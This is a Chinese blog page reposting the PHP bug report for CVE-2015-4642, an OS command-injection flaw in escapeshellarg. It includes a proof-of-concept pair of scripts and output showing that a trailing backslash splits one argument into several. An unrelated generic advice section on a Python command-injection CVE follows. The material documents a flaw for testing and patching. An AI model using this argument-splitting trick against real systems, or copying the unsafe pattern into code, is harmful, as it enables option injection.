远程os注入漏洞php,CVE-2015-4642

Description:

------------

In following is the report from Takayuki Uchiyama.

This issue is an OS command injection vulnerability.

Do you have a specific case that fails?

I have attached the proof-of-concept code to reproduce this issue.

----------------------------------------------------------------------

PoC Code

----------------------------------------------------------------------

[poc.php]

------------------

$a = 'a\\';

$b = 'b -c d\\';

var_dump( $a, escapeshellarg($a) );

var_dump( $b, escapeshellarg($b) );

system( 'php arginfo.php ' . escapeshellarg($a) . ' ' . escapeshellarg($b) )

?>

------------------

[arginfo.php]

------------------

print( "--- ARG INFO ---\n" );

var_dump( $argv );

?>

------------------

----------------------------------------------------------------------

PoC Code

----------------------------------------------------------------------

After running 'php poc.php', if you get the following output, that version

of PHP is still vulnerable.

----------------------------------------------------------------------

Output

----------------------------------------------------------------------

string(2) "a\"

string(4) ""a\""

string(7) "b -c d\"

string(9) ""b -c d\""

--- ARG INFO ---

array(4) {

[0]=>

string(11) "arginfo.php"

[1]=>

string(4) "a" b"

[2]=>

string(2) "-c"

[3]=>

string(2) "d""

}

[Comment]

The first 4 lines are the output from the var_dump function in

poc.php. By comparing this output with the 4-5th lines of poc.php,

the output from the escapeshellarg function, it can be seen that

an attacker can set a single string that is not "" escaped as a

parameter.

Similarly, the 10 lines that follow --- ARG INFO --- command line

arguments when arginfo.php is called, which are output by the var_dump

function in arginfo.php. When comparing this to the way the system

function is called (with 2 parameters) in poc.php, it can be seen that

command line interprets is as 3 paramaters.

----------------------------------------------------------------------

Output

----------------------------------------------------------------------

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于 Python 命令注入漏洞(CVE-2015-20107),修复措施如下: 1. 首先,升级 Python 版本到最新的稳定版本,以确保你使用的是修复了漏洞的版本。可以通过官方网站或软件包管理工具获取最新版本。 2. 仔细检查你的代码,确保没有使用 eval()、exec()、os.system() 等可执行外部命令的函数。如果有使用这些函数的地方,应该尽量避免使用它们,或者替换为更安全的函数。 3. 对于需要执行外部命令的情况,应该使用安全的方式来执行。可以使用 subprocess 模块中的函数,例如 subprocess.call()、subprocess.Popen() 等,来执行外部命令,并且在执行命令时指定参数和命令的参数类型。 4. 对于用户输入的数据,尤其是通过网络传输的数据,应该进行适当的输入验证和过滤。可以使用正则表达式、白名单验证等方式来限制输入的内容,确保输入的内容符合预期,并且不包含恶意代码。 5. 在应用程序中启用严格的访问控制和权限管理,以限制用户对系统资源的访问和操作权限。确保只有授权的用户才能执行危险的操作。 6. 定期更新和维护你的应用程序和依赖库。及时安装相关的安全补丁和更新,以防止已知的漏洞被利用。 以上是一些建议的修复措施,但请注意,具体修复方法取决于你的应用程序和代码结构。建议在修复前仔细评估和测试修复措施,确保不会引入其他安全问题。另外,咨询安全专家或参考官方文档也是一个明智的选择。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值